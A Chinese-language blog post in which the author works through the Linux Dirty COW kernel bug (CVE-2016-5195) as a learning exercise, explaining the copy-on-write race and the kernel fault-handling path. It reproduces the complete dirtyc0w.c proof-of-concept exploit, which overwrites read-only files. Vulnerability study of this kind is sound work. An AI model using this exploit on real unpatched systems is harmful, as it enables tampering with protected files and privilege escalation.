CVE-2016-5195

CVE-2016-5195

没想到最终还是去学习Linux内核了,最开始对Linux内核没那么感兴趣,感兴趣的是Windows,不过工作内容是Linux,索性学习一下Linux内核吧。

不过,刚刚开始只是学习一下这个著名的脏牛漏洞,便让产生了一点满足感,让我开始对Linux感兴趣了。

源码版本

内核版本4.4

前置知识

写拷贝:https://www.cnblogs.com/biyeymyhjob/archive/2012/07/20/2601655.html

Linux内核缺页中断处理:https://zhuanlan.zhihu.com/p/488042885

POC

根据poc,简单了解其做的具体事情

/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;
 
void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}
 
void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
>  The in the wild exploit we are aware of doesn't work on Red Hat
>  Enterprise Linux 5 and 6 out of the box because on one side of
>  the race it writes to /proc/self/mem, but /proc/self/mem is not
>  writable on Red Hat Enterprise Linux 5 and 6.
*/
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
    lseek(f,(uintptr_t) map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}
 
 
int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
  if (argc<3) {
  (void)fprintf(stderr, "%s\n",
      "usage: dirtyc0w target_file new_content");
  return 1; }
  pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping.  Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file.  It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %zx\n\n",(uintptr_t) map);
/*
You have to do it on two threads.
*/
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
}

根据上面的poc,可以了解到首先读取一个可读文件,然后利用mmap申请了一个MAP_PRIVATE的空间,接着就是创建两个线程,一个线程不停的写入可读文件,另一个线程不断调用madvise函数。

mmap

可以讲磁盘的文件直接映射到内存中,当参数为MAP_PRIVATE并进行写操作的时候,就会触发cow操作(写拷贝),写的是cow后的内存,而不会直接同步在磁盘中。

madvice

这个函数的主要用处是告诉内核内存addr~addr+len在接下来的使用状况,以便内核进行一些进一步的内存管理操作。当advice为MADV_DONTNEED时,此系统调用相当于通知内核addr~addr+len的内存在接下来不再使用,内核将释放掉这一块内存以节省空间,相应的页表项也会被置空。

/proc/self/mem

这个文件是一个指向当前进程的虚拟内存文件的文件,当前进程可以通过对这个文件进行读写以直接读写虚拟内存空间,并无视内存映射时的权限设置。也就是说我们可以利用写/proc/self/mem来改写不具有写权限的虚拟内存。可以这么做的原因是/proc/self/mem是一个文件,只要进程对该文件具有写权限,那就可以随便写这个文件了,只不过对这个文件进行读写的时候需要一遍访问内存地址所需要寻页的流程。因为这个文件指向的是虚拟内存。

漏洞分析

漏洞利用流程

简单说下漏洞利用流程(看GitHub官网的描述也可以),函数调用__get_user_page后,会先尝试获取page,当page不存在的时候,会进入faultin_page函数,然后查看flags是否有FOLL_WRITE标志,如有则讲fault_flags设置为1,接着调用handle_mm_fault->handle_pte_fault,然后由于是第一次缺页导致其去调用do_fault函数,然后由于可写的所以会触发cow机制,创建一个可读的页面出来。接着回到__get_user_page后,按原来的路线一直进入到handle_pte_fault,调用do_wp_page,判断当前页是否只有当前进程在使用,是的话则去调用wp_page_reuse,由于已经经过cow操作,传入的dirty_shared是为0,直接退出返回VM_FAULT_WRITE,在返回函数faultin_page时,将flags的FOLL_WRITE设置为空。此时另一个线程调用madvice函数,将内存里的数据放回磁盘中,触发缺页异常,又进入了faultin_page,这次调用将会在do_fault里选择do_read_fault函数去调用,会得到一个非cow的可读页(__do_fault会的cow_page为NULL,所以不是cow页),直接对原本的mmap地址进行写入,接着madvise又将其放回磁盘中。

faultin_page
  handle_mm_fault
    __handle_mm_fault
      handle_pte_fault
        do_fault <- pte is not present
      do_cow_fault <- FAULT_FLAG_WRITE
        alloc_set_pte
          maybe_mkwrite(pte_mkdirty(entry), vma) <- mark the page dirty
                                  but keep it RO 
# Returns with 0 and retry
follow_page_mask
  follow_page_pte
    (flags & FOLL_WRITE) && !pte_write(pte) <- retry fault
faultin_page
  handle_mm_fault
    __handle_mm_fault
      handle_pte_fault
        FAULT_FLAG_WRITE && !pte_write
      do_wp_page
        PageAnon() <- this is CoWed page already
        reuse_swap_page <- page is exclusively ours
        wp_page_reuse
          maybe_mkwrite <- dirty but RO again
          ret = VM_FAULT_WRITE
((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE)) <- we drop FOLL_WRITE
# Returns with 0 and retry as a read fault
cond_resched -> different thread will now unmap via madvise
follow_page_mask
  !pte_present && pte_none
faultin_page
  handle_mm_fault
    __handle_mm_fault
      handle_pte_fault
        do_fault <- pte is not present
      do_read_fault <- this is a read fault and we will get pagecache
                 page!

挖坑

脏牛的主要作用是对任意文件的写入,而Linux又是万物皆可文件,这样的话是不是会有很多其他操作?

结语

没有贴Linux内核源码分析原因是内核基础目前太差,后续会单开一个内核分析的坑。

其次是这次是第一次内核漏洞的分析,不满意这次的分析文章,写的很烂。但还是把他发出来,为许久未更新的博客在添点垃圾算了。(垃圾场

下一个CVE准备分析CVE-2017-5123,Linux内核漏洞打算先跟着初号机师傅的路线走一遍

引用文章

https://xz.aliyun.com/t/7561#toc-11

https://zhuanlan.zhihu.com/p/488042885

https://www.anquanke.com/post/id/84784

https://www.cnblogs.com/biyeymyhjob/archive/2012/07/20/2601655.html

https://bbs.pediy.com/thread-264199.htm#msg_header_h3_7

https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails

本文链接:

https://pyozo.top/index.php/archives/16/